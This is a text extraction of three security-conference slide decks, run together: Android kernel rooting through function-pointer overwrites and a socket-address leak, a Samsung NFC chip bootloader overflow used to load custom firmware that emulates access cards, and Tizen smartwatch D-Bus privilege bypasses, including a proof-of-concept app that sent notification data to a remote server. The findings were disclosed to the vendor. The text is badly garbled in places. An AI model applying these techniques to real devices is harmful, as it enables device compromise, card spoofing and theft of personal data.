CHE2-TL00&/&TL00M&&/&TL00H&/UL00 Honor&6 H60-L01/L02/L03/L11/L12/L21 Honor&6&Plus PE-TL10/TL20/UL00 MediaPad X1&7.0 Lenovo A390t/A750e Meizu MX M032 MX2 M040/045 MX3 M351/353/355/356 OPPO Find&5 X909/X909T Samsung Galaxy&Trend GT-S7568/SCH-I879 Galaxy&Trend&II GT-S7572/GT-S7898/SCH-I739 Galaxy&Tab&3&7.0 SM-T211 Galaxy&Core GT-I8262D Sony Xperia LT26i/26ii/26w Xiaomi MI&2 2/2A/2C/2S/2SC (cont’d) • Now&we&have&a&arbitrary&mem r/w,&then? • In&Linux&kernel,&most&user&operations&will& direct&to&the&struct file_operations (cont’d) • There&are&several&targets&could&be&our&victim& (i.e.,&every&user&can&open&and&operate&on&it) – /dev/ptmx、/dev/binder、/dev/ashmem… (cont’d) • With&the&info&we&need,&we&can&modify&any& member&in&the&fops,&and&trigger – modify&.fsync in&ptmx_fops to&our&shell&code – trigger&it&by&open&/dev/ptmx,&and&fsync(fd) • fsync(fd)→do_fsync()→vfs_fsync()→vfs_fsync_range() →file->f_op->fsync()… (cont’d) • To&sum&up,&if&we&want&to&root&a&phone – A&vulnerability&to&modify&it to&shell&code&address – Collect&symbol,&e.g.,&address&of&ptmx_fops – Overwrite&your&target&function – Trigger! • So&I&have&to&collect&1000&phones’&symbol&if&I& want&to&root&them?&Hmm… – Time&is&money,&and&we&are&all&lazy&right? (cont’d) • With&info&leak,&we&may&be&able&to&write&a& universal&exploit&without&any&symbol& knowledge&(CVE-2016-3809) – Refer&to&http://ppt.cc/yIzVS&for&more&detail • Whenever&a&socket&is&opened&within&Android,& it&is&tagged&using&a&netfilter driver&called& "qtaguid" (cont’d) • It&also&exposes&a&control&interface,&let&user& query&the&current&sockets&and&their&tags • The&interface&is&a world-accessible file,& under /proc/net/xt_qtaguid/ctrl (cont’d) • Reading&this&file&reveals&the&kernel&virtual& address&for&each&of&the&sockets (cont’d) • So&what&is&this&sock=xxxxxxxxactually? – Every&open&socket&is&a&struct socket&in&kernel – Every&socket&has&a&struct sock,&the&network&layer& representation (cont’d) (cont’d) (cont’d) • To&sum&up,&with&info&leak&we&can – Find&sock&address – Use&vulnerability&to&overwrite&its&proto,&let&it&point& to&your&fake&struct proto – Trigger! /proc/net/xt_qtaguid/ctrl listed&sock&address struct sock struct sock_common { … … struct proto&*skc_prot fake&struct proto Fake&function&pointer Fake&function&pointer Fake&function&pointer … Over&write&proto& address Trigger! (cont’d) • On&some&ARM32&and&all&ARM64&phones,&PxN is&enabled – No&user&mode&shell&code – But&it’s&legal&if&control&flow&is&still&in&kernel&space& (ROP) – Say&if&we&call&a&function&with&at&least&4&parameters (cont’d) • In&addition&to&CVE-2016-3857,&we&also&identify& a&similar&problem&in&Qualcomm’s&debug& module&named&“msm-buspm”.&This&finding& had&been&confirmed&as&CVE-2016-2441 • The&debug&module&exports&a&device&node,& “/dev/msm-buspm-dev”.&Fortunately,&not& every&user&can&open&/&operate&on&it (cont’d) Conclusion • We&can&always&get&into&the&old&fixes&and&dig& new&things&out&since&those&fixes&are&written&by& human&beings&and&they&may&err&as&well • copy_from_user /&copy_to_user – __copy_from_user /&__copy_to_user – __copy_from_user_inatomic/& __copy_to_user_inatomic – Maybe&more? Q&&&A Edward&Lo&<[email protected]> Chiachih Wu&<@chiachih_wu>
pdf
Beyond Root Custom Firmware For Embedded Mobile Chipsets Biography Christopher Wade Security Consultant at Pen Test Partners @Iskuri1 https://github.com/Iskuri https://www.pentestpartners.com Project Origin Smartphones contain a huge amount of closed firmware This limits the capabilities of even rooted devices By breaking firmware protections and reverse engineering embedded chipsets, smartphones can be used as attack tools Wi-Fi Monitor Mode Many smartphones support Wi-Fi Monitor Mode Activated in Snapdragon chipsets via: echo 4 > /sys/module/wlan/parameters/con_mode Broadcom chipsets can utilise custom firmware Well known, implemented in modern mobile testing tools USB Device Emulation Linux Kernel supports emulating USB devices via GadgetFS This can be used to emulate any standard USB device Rarely used, but very effective Debian Chroot A full Debian Root Filesystem can be generated with qemu-debootstrap A simple script can provide hardware access and direct SSH connectivity: mount -o remount,rw /data mount --bind /proc /data/debian_arm64/proc mount --bind /sys /data/debian_arm64/sys mount --bind /dev /data/debian_arm64/dev mount devpts /data/debian_arm64/dev/pts -t devpts chroot /data/debian_arm64/ /bin/bash --login -c /usr/sbin/sshd & NFC On Android – Standard Functionality NFC on Android is restricted to very specific features: Generic Reader Modes Mobile Payments NDEF Communication Host-Card Emulation NFC On Android – Unsupported Functionality Desired features for an NFC attack tool: Reader Based Attacks Raw Tag Emulation Passive Sniffing Target Device Samsung S6 - SM-G920F Older smartphone – readily available Allows for OEM unlocking and deployment of Custom ROMs Found to use a proprietary Samsung Semiconductor NFC Controller in non-US versions NFC Controller – S3FWRN5 Custom chip developed by Samsung Semiconductor Utilised in non-US Samsung S6, and Note 4 devices Boasts the ability to securely update firmware Utilises ARM SC000 SecurCore architecture Communicated with via I2C and GPIO on phone Basic Communication – Hardware On Android Smartphones are essentially embedded Linux devices GPIO and I2C communication can be performed via files in “/dev/i2c-*” and “/dev/gpio*” Samsung’s Kernel abstracts these to custom driver, accessed using device file “/dev/sec-nfc” File reads, writes and IOCTLs control the chip NCI Communication NFC chips communicate via a standard protocol This abstracts and restricts NFC functionality, to simplify the process Send and receive packets consist of the following: GID – Byte containing identifier of functionality group (Core, RF, Vendor Specific) OID – Byte containing identifier of specific operation Length – Byte containing the length of parameters Payload – Data related to the operation NCI – Non Standard Functionality Vendor GID (0xf) allows for any non-standard functionality to be implemented Vendor operations from 0x00-0xff can be enumerated by checking error responses Vendor defined operations are most likely to contain actionable weaknesses In addition, configuration and mode operations allow for non-standard functionality S3FWRN5 – Firmware Updates S3FWRN5 chip supports firmware updates via I2C Firmware updates are never implemented via NCI, a custom bootloader is used Loaded from firmware files are found in vendor partition Enabling Debug Mode *.rc configs can be modified in /system/ Debug and forced firmware updates can be enabled Traces can be pulled from Logcat Analysis Of Firmware Update Protocol Update traces can be pulled from Logcat Utilises four byte header followed by payload: 0x00: Command type 0x01: Command 0x02-0x03: Payload size 0x04-0x100: Payload data 0x80 is added to first byte on alternating sends Firmware Update Files Firmware and configs can be found in Android Filesystem Depending on device version, can be in main system image or hidden Vendor partition Usually available from publicly available Android images S3FWRN5 Firmware File Analysis Basic format: metadata, signature, and full firmware Payload provides size information about internal memory of device Firmware Update Files – Identifying Architecture Simple mnemonics can be used to identify chip architectures Thumb’s “BX LR” operation translates in hex to “0x70 0x47”, and in ASCII to “pG” A high number of instances of this imply Thumb code in use This was identified in the firmware Implementing Firmware Updates Dump the Firmware Update protocol command sequence Send dumped IOCTL and commands in sequence Compare received values for each command Header files from Open Source Kernel drivers can aid this: “sec_nfc.h” Firmware Update Protocol and Sequence Utilises numbered commands for firmware updates: 0: Reset 1: Boot Info 2: Begin Update 4: Update Sector 5: Complete Update A numbered command is missing from the sequence This heavily implied additional hidden commands Identifying Hidden Bootloader Commands Commands only work at certain stages of update process Chip returns error 2 if command is not valid at that stage Chip returns error 9 if the payload is too small This can be brute forced through the firmware update protocol Hidden Bootloader Command 3 Same functionality as command 4 Writes 512-byte blocks instead of 4096 No actionable weaknesses Hidden Bootloader Command 6 Takes eight bytes of parameters, two 32-bit values Individual bits were set in parameters and responses were checked Testing showed this allowed for reading of arbitrary memory – address and size This allows for dumping of RAM, the firmware and the secure bootloader Dumping The Bootloader Memory can be stitched from hidden command 6 This showed a standard Cortex-M firmware format starting at address 0x00000000 (vector table followed by code), with a size of 8KB This allowed for static analysis and emulation The firmware contained no strings, drastically increasing time to analyse Analysing Bootloader Binary Loaded into IDA as ARM Little-endian Memory Layout: 0x00000000 – Flash Memory 0x20000000 – RAM 0x40000000/0x50000000 – Hardware Peripherals 0xE0000000 – System Analysing Bootloader Binary Bootloader Artefacts On start-up, the bootloader checks for a magic number at address 0x3000: 0x5AF00FA5 This magic number is only written if the signature is valid during upgrade Attempts to manually write the value were unsuccessful – first block must start with 0xFFFFFFFF Bootloader Artefacts Bootloader commands can be swiftly identified for analysis Bootloader Artefacts RSA Public Key can be found in memory 0x80 high entropy bytes followed by “00 01 00 01” – 65537 as exponent Identifying Memory Corruption Fuzzing any embedded firmware could irreparably damage the chip Only one phone was available for testing Debugging and analysis via I2C would be difficult Emulation of the bootloader was attempted Emulating Embedded Firmware With Unicorn Engine Library for emulating architectures and hooking all functionality Can define architecture, memory mapping, and hardware integration Emulating Embedded Firmware With Unicorn Engine Bootloader was loaded at address 0x00000000 Program Counter was set to value in reset vector (0x000002BD) Memory was mapped for flash, RAM and hardware registers Emulating Embedded Firmware With Unicorn Engine Commands are received in infinite loop in main thread, with no interrupts This meant that emulation would be a simpler task Emulating Embedded Firmware With Unicorn Engine Execution was found to cause device resets when accessing hardware registers during configuration The bootloader image was patched to bypass hardware initialisation Static hardware register values were dumped from the chip and loaded into Unicorn Emulating Embedded Firmware With Unicorn Engine The firmware was allowed to run, until it hit a hardware register This was a read at address 0x40022030 The disassembly showed specific bits were checked This implied it was a status register for I2C The read was overridden to return random data Emulating Embedded Firmware With Unicorn Engine Next, the firmware continually read bytes from a single address - 0x40022038 This implied it was the I2C FIFO buffer Firmware update commands were sent via this register Responses to commands were sent to address 0x40022034 This constituted full emulation of the I2C communication Memory Corruption Opportunities Randomised fuzzing would now be viable Commands have 16-bit sizes – larger than entire contents of RAM Some commands send additional data in chunks Size of hash and signature are defined in initialisation command Bypassing Signature Checks Manipulation of the hash and signature sizes allowed for more data to be sent in chunks Analysis in Unicorn showed that this caused out of bounds memory access Further analysis showed that this overwrote the stack Bypassing Signature Checks Overwriting the stack allowed for manipulation of Program Counter SC000 chipsets cannot execute from RAM Stack was too small for complex ROP exploits Program Counter was set to just after signature check: 0x016d (PC + 1 for Thumb code) Bypassing Signature Checks The exploit was performed on the physical chip This booted the main firmware without power cycling The firmware was started and could be run, bypassing signature checking This would allow for custom firmware to be developed The vulnerability was disclosed to Samsung Bypassing Signature Checks – Remediation Methods Method 1: Patch the bootloader from the main firmware, removing the buffer overflow This could brick the chip, as the core bootloader would be overwritten Method 2: Patch the Kernel to disallow large hashes and signatures Trivially bypassed by kernel modification or direct I2C access Further Research - Samsung Semiconductor NFC Chips Multiple NFC chips outlined on company website Samsung Semiconductor NFC Chips – Identification In Phones Device specifications do not always contain NFC chipsets It is more accurate to identify the firmware filenames in Android images Android images can be downloaded directly from online archives The /vendor directory contains these firmware files Occasionally, this is a separate partition Samsung Semiconductor NFC Chips – Identification In Phones The /vendor directory always contains these firmware files Occasionally, this is a separate partition Further Research – S3NRN82 S3NRN82 was selected as the next target – latest available chipset Multiple chip firmware revisions available Found in Samsung Galaxy S9 S9 was purchased, and rooted using OEM unlocking and a Custom ROM S3NRN82 – Firmware File Same format as S3FWRN5 Initial Stack Pointer larger – more RAM Reset Vector lower – smaller bootloader Firmware size 32kB larger Further Research – Replicating Vulnerability Commands 3 and 6 were removed A new command, 7, was identified to reboot the chip New bootloader size implied that it had been modified Lack of memory readout would force any exploitation to be blind Signatures checks utilising SHA-1 were found to fail Further Research – Replicating Vulnerability I2C communication was no longer provided by Logcat A /proc/nfclog file was found which contained the sizes of commands in sequence From this, the change from SHA-1 to SHA-256 could be deduced This was verified by modifying the firmware update tool Further Research – Replicating Vulnerability Nature of device crashes allowed for analysis of stack size The entire stack could be overwritten with pointers into code memory Further Research – Exploiting Vulnerability Stack was filled an initial value (0x0001) via buffer overflow NCI initialisation commands were sent to chip If an NCI response was received, the exploit worked If NCI response failed, the device was reset and the initial value incremented Signature bypass succeeded at address 0x0165 Demo Further Research – Disclosure Vulnerability was disclosed to Samsung The vulnerability was patched on newly manufactured chipsets from April 2020 All future chipsets will not be vulnerable Custom Firmware would still be viable for older devices Patching Existing Firmware Custom firmware could be written for any of these chips An initial goal was to dump the S3NRN82 bootloader The only method for accessing data would be via I2C This would also facilitate debugging Patching Existing Firmware Unreferenced/blank memory in firmware can be used to store new code Compiled machine code can be patched in The oldest available firmware was found, and used as a base – found in a Galaxy S8 ROM Patching Existing Firmware C functions can be compiled as a raw binary using “gcc –c” Stack handling is performed as with normal compilation Function relocation is not performed No standard C libraries can be included Patching Existing Firmware In C, function calls are generated as Branch and Link Instructions These can be directly patched in order to implement different functionality This can completely override intended functionality Patching Existing Firmware Branch And Link uses two’s complement relative addresses Using the function address and current address can allow for creation of new BL functions This can be directly patched over original BL functions Patching Existing Firmware A build application for linking and relocation was developed, which directly patched firmware Patching Existing firmware The vendor-specific NCI command “2F 24” was selected for modification Its response was found by searching for “MOVS.*#0x24” sub_11A76 was overridden to the new “getArbitraryMemory” function Writing of new firmware took ~20 seconds The new function could be expanded as needed Patching Existing firmware To receive parameters, location of command in RAM must be found A crafted NCI request was generated: 2F 24 04 FA CE FA CE The parameters were searched through RAM, and address set in response payload This could allow for parameters to be used in readout S3NRN82 Bootloader The patched firmware allowed for dumping of arbitrary memory With this, the new bootloader was downloaded This allowed for analysis of how the initial exploit worked at 0x0165 Exploit was modified to point to 0x0173 Custom Firmware – Tag Emulation The hardware of the chip supports multiple protocols: ISO14443a, ISO14443b and more Access to hardware registers allow for arbitrary communication A goal was to emulate a Mifare Classic tag in its entirety on the S9 A Proxmark was used for debugging Custom Firmware – Tag Emulation NCI commands to initialise device were dumped from phone and replayed Unnecessary commands were removed The NCI RF Discover command was modified to only act as ISO14443a tag Custom Firmware – Tag Emulation Initial reversing requires knowledge of functions and hardware in depth Lack of any strings means that this would require inferring the purpose of functions manually To begin, the ISO14443A SELECT command (0x93) was searched for in IDA: “CMP.*#0x93” The first result provided immediate information: Custom Firmware – Tag Emulation Placing the phone on a reader allowed this to be verified It was possible to use the patched I2C function to dump the entire hardware configuration This corroborated the results from IDA Reader commands could be read Access to these registers would also allow for passive sniffing Custom Firmware – Tag Emulation - Enumeration ISO14443a enumeration occurs using the following information: ATQA – defined by NCI SAK – defined by NCI UID – randomised on phones, first byte always 0x08 These define tag type and unique identifier Via NCI, ATQA and SAK values are restricted to specific values Due to their purpose, these values were stored in individual hardware registers Custom Firmware – Tag Emulation - Enumeration Via NCI, SAK and ATQA values were sent to the chip Using the patched I2C command, a RAM dump was taken The SAK and ATQA values were identified in RAM, and compared with IDA This lead to a single function referencing hardware registers Custom Firmware – Tag Emulation - Enumeration This function was overridden, then called within the new function Custom SAK, ATQA and UID values were added via hardware to replace initial values Confirmation of this patch was performed using a Proxmark as a reader Custom Firmware – Tag Emulation - Enumeration Analysis via the Proxmark demonstrated that this was successful This would allow for modification of enumeration information, but not full communication Custom Firmware – Tag Emulation – Full Communication Chip was known to respond to commands 0x50 (HALT) and 0xE0 (RATS) RATS was searched via: “CMP.*#0xe0” Four results were found, and analysed individually This lead to finding the state machine functions Additional valid commands were noted Custom Firmware – Tag Emulation – Full Communication Further tracing from RATS found the function which sent responses This was found to set a buffer, size, and some configuration information The written registers were copied and added to a new function Custom Firmware – Tag Emulation – Full Communication A basic read command was first implemented : 30 XX + CRC This was configured to return unencrypted memory blocks This could later be extended to include appropriate encryption Custom Firmware – Tag Emulation – Full Communication The state machine function was overridden A switch statement was used to respond to Mifare commands Analysis showed that the HALT command affected the internal state machine This function was called from the new state machine Non-standard debugging commands were also added Custom Firmware – Tag Emulation – Full Communication With full control, any ISO14443a tag could be emulated Mifare Classic’s Crypto-1 authentication and access mechanisms were implemented While this worked with a Proxmark, it would not work on a legitimate reader Custom Firmware – Tag Emulation – Restrictions Mifare Classic encrypted communication overrides the parity bit of each communicated byte The chip hardware was configured to auto-generate this parity bit It was possible that a hardware register setting may allow for modifying parity bits Each register was modified in turn, while responses were checked on a Proxmark Custom Firmware – Tag Emulation – Restrictions The parity register was found at address 0x40020004, by setting bit 0x4000 With this set, parity could be modified This required adding additional bits to the buffer, and increasing the length set by one bit per byte With this in place, a Mifare Classic tag could be fully emulated Custom Firmware – Tag Emulation – Dumping Writes Writes to tags were hooked to send I2C messages This allowed for persistent modification of tags Demo Custom Firmware – Final Notes Tag emulation allows for spoofing of 13.56MHz access control cards, as well as more esoteric uses All other NFC functionality works as normal, despite patching More subtle than a dedicated attack tool Expansion of this functionality could allow for offline cracking attacks The same emulation could be performed on any supported protocol Now framework is in place, easy to develop for Conclusion All outlined vulnerabilities were patched by Samsung as of April 2020 The vulnerability required root access, but fully compromised the chip Phones are exploitable embedded devices, and should be treated as such Bootloader vulnerabilities are more common than you think, especially in phones Developing custom firmware for proprietary chips is challenging, but rewarding If an undisclosed vulnerability is found in an old chip, it’ll likely be in the new one
pdf
- 2 - u Dongsung Kim u Graduate Student, Sungkyunkwan University u @kid1ng / https://kidi.ng u Hyoung-Kee Choi u Professor, Sungkyunkwan University u https://hit.skku.edu/~hkchoi - 3 - u Motivation u Tizen Security Internals u Dan the D-Bus Analyzer u Privilege Violations u Conclusion 1 - 5 - u Samsung’s smartwatch products: S2, S3, Sport ° Track fitness; control smart devices; receive calls, texts, and emails; pay with NFC ° Bluetooth only or with dedicated cellular LTE ° App marketplace: Samsung Galaxy Apps • Development with Tizen SDK and Samsung SDK u Sensitive information and high privileges ° Powerful processor and tracking sensors ° Personal data from user’s smartphone • Contacts, calendar, location, email, notification, … ° Access to privileged actions must be controlled • Sending a quick reply, obtaining the GPS location, … Image: Samsung - 6 - u Linux-based Open source operating system ° Maintained by the Linux Foundation ° Mainly developed by Samsung u Shipped with many of Samsung’s products ° Smartwatches, wearables, smartphones, cameras, smart TVs, home appliances, … u Samsung Gear firmware ° Tizen’s open source components • Operating system, system services, … ° Samsung’s closed source components • Drivers, system services, applications, … Image: Tizen Project, a Linux Foundation Project - 7 - u May 2015: Ajin Abraham “Hacking Samsung’s Tizen: The OS of Everything” @ HITBSecConf ° Over-privileged apps, no DEP, broken ASLR, WebKit vulns u Apr 2017: Amihai Neiderman “Breaking Tizen” @ Security Analyst Summit ° 40 0-day vulnerabilities in Tizen and Tizen Store u Jul 2017: PVS-Studio “27 000 Errors in the Tizen Operating System” ° 900 code errors in a portion of Tizen source code - 8 - u Sungkyunkwan University is funded and operated by the Samsung Foundation. 2 - 10 - u Files, Directories, UNIX Sockets, Utilities u Applications ° Use Tizen APIs to access the subsystems • e.g., Frameworks, Services, … u Services ° Special privileged daemons dedicated for a resource • e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors, … ° Must reject requests from unauthorized parties Source: Tizen Wiki - 11 - u Service must check if calling app has access ° App must acquire the “privilege” in prior u App dev specifies privileges in tizen-manifest.xml ° User accepts the permission for the app ° Installer checks and registers the privilege policy ° Accesses are controlled at the runtime u Tizen defines many privileges ° internet, bluetooth, network.set, screenshot, notification, email, … ° Only some of them are “Public” • Allowed to be used by most developers ° Level: Public, Partner, Platform; private use Source: Tizen Wiki Image: “locked” by Jenie Tomboc / CC BY tizen-manifest.xml .tpk app package On user’s smartphone Signed by Store - 12 - u DAC (Discretionary Access Control) ° Classic UNIX user ID + group ID policies u SMACK (Simplified Mandatory Access Control in Kernel) ° Kernel-space isolation ° App receives a unique label at install time • e.g., User::Pkg::sample_app ° For every kernel object access, the current context (label) is checked against the SMACK rules u Cynara ° User-space privilege management daemon ° Used by services to check the calling application’s privilege ° Identifies an application with its SMACK label ° Checks the label against Cynara database u Security Manager ° Security policy configurator daemon • At install time, launch time, and runtime ° Populates DAC policies, SMACK labels, and Cynara database from different sources • e.g., default filesystem, manifest files, … Source: Tizen Wiki - 13 - u IPC (Inter-Process Communication) system ° For Linux-like OSes, integrated with systemd ° High-level messages, useful built-in functions • e.g., discoverability, introspection, … ° Service daemon registers to D-Bus daemon, clients request resources via messages ° Tizen heavily relies on D-Bus* u Concepts ° Service (Bus name, Destination) ° Client (Application, Source) ° Object, Interface, Method, Property Source: freedesktop.org Project, Pid Eins Image: “File:D-Bus method invocation.svg“ by Javier Cantero / CC BY-SA 4.0 Client Process Service Process /org/example/object3 /org/example/object2 /org/example/object1 SetFoo(int32) D-Bus Bus org.example.interface method SetFoo(int32): void method GetFoo(): int32 Message Request Message Response Bus name * :1.7 :1.4 org.example.service - 14 - u Patched to perform Cynara checks ° Introduced along with Cynara (Tizen 3.0) ° Never accepted in upstream u Granular access control to messages ° <check> element in busconfig file ° Destination, interface, member, and privilege ° D-Bus daemon asks Cynara to allow or deny Source: Tizen Wiki /etc/dbus-1/system.d/bixby-agent.conf - 15 - u Location Manager API with location privilege - 16 - u Location Manager API without location privilege u dlog: Tizen’s system log u Location library liblbs-location.so.1 performs location_check_cynara u ① First privilege check PID - 17 - u Reverse engineering liblbs-location.so.1 Patch to bypass ① MOV R0, #0 MOV R0, #0 - 18 - u Patching liblbs-location.so.1 u D-Bus library LBS_DBUS_CLIENT sends a request to Location daemon lbs-server u D-Bus daemon rejects the request with DBus.Error.AccessDenied u ② Second privilege check - 19 - Image: Tizen Wiki Cynara daemon ① ② ③ - 20 - u Two points that check privileges of a malware ° ② D-Bus daemon: Request in transit ° ③ Service daemon: After receiving the request u Failing both could allow privilege violation Image: Tizen Wiki Malware (Client Process) D-Bus Bus Message Request Message Response Service Process ② ③ No ① 3 - 22 - u Use dbus-send directly to send messages to D-Bus daemon u Errors suggest privilege validation always happens first u Idea: Send non-privileged requests to all, then gather services that return any error but DBus.Error.AccessDenied → Privilege violation? dbus-send --system --print-reply --dest=org.tizen.lbs.Providers.LbsServer /org/tizen/lbs/Providers/LbsServer org.tizen.lbs.Manager.AddReference Error org.freedesktop.DBus.Error.AccessDenied: … privilege="http://tizen.org/privilege/locati on" (uid=654 pid=2536 comm="") Error org.freedesktop.DBus.Error.InvalidArgs: Type of message, '()', does not match expected type '(i)' With privilege Without privilege No argument is given - 23 - u Evaluates privilege verification of D-Bus services ° Spawns a test process on a remote device ° Recursively scans the D-Bus tree for its structure • Bus names, objects, interfaces, properties, methods, ... ° Reads every property of every object ° Calls every method of every interface u Output ° D-Bus tree flattened into a JSON file (db.json) ° dbus-send commands that require further attention • Introspectable properties (properties.log) • Callable methods (methods.log) Image: “File:Dan Howell by Gage Skidmore.jpg“ by Gage Skidmore / CC BY-SA 3.0 https://github.com/kiding/dan Module Module Module Module Runner Shell Script Result App Package stdout stderr Target Device Extracted Filesystem db.json properties.log methods.log - 24 - u Each module sends a shell script to run u Wraps the script into an application ° No privilege in tizen-manifest.xml ° main function of the app • Executes the script • Compresses stderr stdout into tar.gz • Logs the location of the tar.gz u Builds, installs and runs it on the target device ° Automated with Tizen Studio and sdb u Waits for the tar.gz location to appear in log u Pulls and decompresses the tar.gz Image: “File:Dan Howell by Gage Skidmore.jpg“ by Gage Skidmore / CC BY-SA 3.0 Module Module Module Module Runner Shell Script Result App Package stdout stderr Target Device Extracted Filesystem db.json properties.log methods.log https://github.com/kiding/dan - 25 - u Aggregate all possible services (bus names) ° One service can have multiple bus names ° Unique :1.4 Well-known org.example.service u From extracted firmware ° /usr/share/dbus-1/* u From runtime ° Call D-Bus built-in method to D-Bus daemon: org.freedesktop.DBus.ListNames Source: freedesktop.org /usr/share/dbus-1 /system-services /org.freedesktop .systemd1.service - 26 - u Recursively introspects the services ° Objects, interfaces, methods, ... u Each service can provide its object structure ° Call D-Bus built-in method to service daemon: org.freedesktop.DBus .Introspectable.Introspect ° Service can respond with well-formatted XML Bus name: org.freedesktop.systemd1 Object: / Child objects - 27 - u Reads every property value of every object for all of its interfaces ° Call D-Bus built-in method to service daemon: org.freedesktop.DBus.Properties.GetAll u Parses dbus-send“format” ° Into a JSON-compliant form ° With a custom Bison parser Bus name: org.freedesktop.systemd1 Object: …/syslog_2eservice Interface: org.freedesktop.systemd1.Service GetAll.jison - 28 - u Calls every method of every interface for all the objects ° Using random arguments to never actually execute the program logic u Parses the returned error, then categorize each method ° AccessDenied, ServiceUnknown, UnknownObject, NoReply, … → Ignore ° Other errors or no error at all: “Callable” dbus-send --system --print-reply --dest=org.example.service /org/example/object org.example.method string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 string:1 org.freedesktop.DBus.Error.InvalidArgs Gibberish random argument No error (Ignore) “Callable” org.freedesktop.DBus.Error.AccessDenied - 29 - u Prunes duplicate bus names ° Unique :1.6 Well-known org.freedesktop.systemd1 ° Hash every object, remove duplicates u Prints property and callable methods ° In dbus-send command form ° For further manual analysis … db.json … methods.log Arguments - 30 - u Target Device ° Samsung Gear Sport: Build RC4, Tizen 3.0.0.2, Release Date 2018-03-28 ° Takes about an hour u Statistics ° Total # of bus names: 269 ° Readable Properties #: 130,634 ° Callable Methods #: 2,319 (!) • Excluded Default Interface: org.freedesktop.DBus, … - 31 - u ③ Third privilege check ° Log suggests access is denied after service explicitly asks Cynara ° Yet no D-Bus error gets returned; treated as a normal D-Bus call ° Dan categorizes methods as “Callable” u Examine manually further for exploits ° On Gear Sport and Gear S2 Malware (Client Process) D-Bus Bus Message Request Message Response Service Process ② ③ No ① No error 4 - 33 - u Wi-Fi u Bluetooth u Screen u Notification u Email u …and many more Image: “1f4a5.svg” by Twitter, Inc and other contributors / CC BY 4.0 - 34 - u D-Bus APIs for wpa_suplicant are fully exposed ° wpa_supplicant: Free software implementation of 802.11i ° Tizen builds its own API/daemons on top u Every method is callable, every property is readable ° CreateInterface, RemoveInterface, Scan, … ° WPS Start, GetPin; P2P Find, Connect, … u Violated Tizen privileges ° network.get, network.profile, network.set, wifidirect ° location, location.enable (Platform level; private privilege) - 35 - u GPS coordinates can be publicly queried from ° BSSID of nearby Wi-Fi networks ° Signal values of the networks u Malware can track user even if location is off ° Force-trigger Wi-Fi Scan ° Acquire network information ° Query current location - 36 - u Partially exposed: projectx.bt/bt_core ° Tizen’s own API/daemons for Bluetooth ° Silently authorize incoming pair request ° Force discoverable ”piscan” mode ° Prompt a PIN request system UI ° … u Malware can phish user to obtain PIN ° Present legitimate system UI to trick user ° Any input is returned to the malware Actual name of the paired smartphone - 37 - u Partially exposed: bluez ° bluez: Bluetooth stack for Linux-like OSes ° Force disconnect, gather information, … u Bonus: No restriction on hcidump utility ° Any user can dump Bluetooth packets with no superuser privilege ° Dump HCI packets + force disconnect + auto reconnect → Extract link key u Violated Tizen privileges ° bluetooth ° bluetoothmanager (Platform level; private) Demo - 38 - u Enlightenment/EFL ° Tizen’s choice of window manager u Partially exposed: enlightenment.screen_capture ° dump_topvwins dumps windows into PNG files u Violated Tizen privileges ° screenshot (Platform level; private) Demo - 39 - u Partially exposed: com.samsung.wnoti ° Manages notification transmitted to Gear ° Many functions that involves notification ° ClearAll to remove all notifications ° GetCategories to read all data ° … u Violated Tizen privileges ° notification, push, ??? Demo - 40 - u wemail_consumer_service ° Manages user’s mailbox on Gear, communicates with manager on phone ° req_show_on_device to launch Email app on phone ° req_mail_state to modify message data ° req_send_mail to send any email from user’s address u “Security” for private methods ° {“id”:”wemail-private-send-mail-noti”, …} ° strcmp and nothing more u Violated Tizen privileges ° messaging.write ° email, email.admin (Platform level; private) Demo - 41 - Sequence shortened from https://youtu.be/Yc4AvlJLLpw - 42 - u wnoti-service.conf: Only three methods are listed ° Many other sensitive methods are missing - 43 - u connman.conf and net-config.conf protect Tizen’s own Wi-Fi daemons u But wpa_supplicant.conf doesn’t exist: D-Bus is not hierarchical Image: Tizen Wiki dbus dbus dbus dbus How it was designed Application WPA Supplicant D-Bus Bus Wi-Fi Direct Manager Net-Config Daemon ConnMan Daemon How it actually works - 44 - u D-Bus client API is officially supported ° Eldbus: D-Bus integration with Enlightenment/EFL u PoC application “BitWatch” ° Benign-looking watch face ° Privilege: network.get, internet ° Reads notification data, sends it to a remote server u Submitted to Samsung Galaxy Apps ° Obfuscated to hide system service names u Passed validation process! ° Gone on sale until we took it down - 45 - u Apr 10th: Vulnerabilities reported to Samsung Mobile Security u Apr 19th: Report triaged by Samsung u Patches for open-source services committed to the Tizen Git repository u May 29th: Updates released for Gear Sport and S3 u Jul 13th: Severity assigned High 5 - 47 - u Tizen security internals ° Objects and privileges ° Where privileges are validated: ① application, ② Cynara-aware D-Bus, and ③ service u Dan the D-Bus analyzer ° AccessDenied as an oracle to discover privilege violations u Privilege violations ° Wi-Fi, Bluetooth, screen, notification, email takeover ° Possibility of distribution via official store - 48 - u Can Dan be applied to ° Other Tizen systems: Smart TV, home appliances, IoT, … ° Other D-Bus systems: Linux-like OS, … u Obfuscation techniques ° To bypass future mitigations of Galaxy Apps - 49 - u Hyoung-Kee Choi for guidance u Hyoseok Lee for initial research u Betty Bae for proofreading u Gyeonghwan Hong, Shinjo Park, and John Steinbach for advice
pdf
